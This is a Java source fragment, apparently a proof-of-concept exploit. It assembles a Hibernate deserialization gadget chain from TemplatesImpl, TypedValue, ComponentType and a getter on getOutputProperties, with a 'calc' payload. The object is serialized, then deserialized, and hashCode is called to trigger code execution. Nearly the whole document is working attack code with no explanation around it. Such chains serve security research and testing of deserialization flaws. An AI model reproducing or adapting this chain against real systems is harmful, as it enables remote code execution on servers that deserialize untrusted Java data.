public static void main(String[] args) throws Exception{
TemplatesImpl calc = Gadget.getTemplateImpl("calc"); ComponentType componentType = Util.createWithoutConstructor(ComponentType.class); TypedValue typedValue = Util.createWithoutConstructor(TypedValue.class); EntityEntityModeToTuplizerMapping entityEntityModeToTuplizerMapping = Util.createWithoutConstructor(EntityEntityModeToTuplizerMapping.class); PojoComponentTuplizer pojoComponentTuplizer = Util.createWithoutConstructor(PojoComponentTuplizer.class);
ReflectionOptimizerImpl reflectionOptimizerImpl = Util.createWithoutConstructor(ReflectionOptimizerImpl.class); EntityMetamodel entityMetamodel = Util.createWithoutConstructor(EntityMetamodel.class); BasicPropertyAccessor.BasicGetter basicGetter = Util.createWithoutConstructor(BasicPropertyAccessor.BasicGetter.class);
StandardProperty standardProperty = Util.createWithoutConstructor(StandardProperty.class); StandardProperty[] properties = new StandardProperty[]{standardProperty};
Getter[] getters = new Getter[]{basicGetter};
HashMap tuplizers = new HashMap(); tuplizers.put(EntityMode.POJO,pojoComponentTuplizer);
Util.setFieldValue(basicGetter,"clazz", Templates.class); Util.setFieldValue(basicGetter,"method", Util.getMethod(Templates.class,"getOutputProperties",new Class[]{})); Util.setFieldValue(basicGetter,"propertyName","outputProperties"); Util.setFieldValue(entityMetamodel,"propertySpan",1); Util.setFieldValue(entityMetamodel,"properties",properties); Util.setFieldValue(pojoComponentTuplizer,"optimizer",reflectionOptimizerImpl); Util.setFieldValue(pojoComponentTuplizer,"getters",getters); Util.setFieldValue(pojoComponentTuplizer,"propertySpan",1); Util.setFieldValue(entityEntityModeToTuplizerMapping,"tuplizers",tuplizers); Util.setFieldValue(componentType,"tuplizerMapping",entityEntityModeToTuplizerMapping); Util.setFieldValue(typedValue,"type",componentType); Util.setFieldValue(typedValue,"value", calc); Util.setFieldValue(typedValue,"entityMode", EntityMode.POJO);
Util.unserialize(Util.serialize(typedValue)).hashCode(); }
|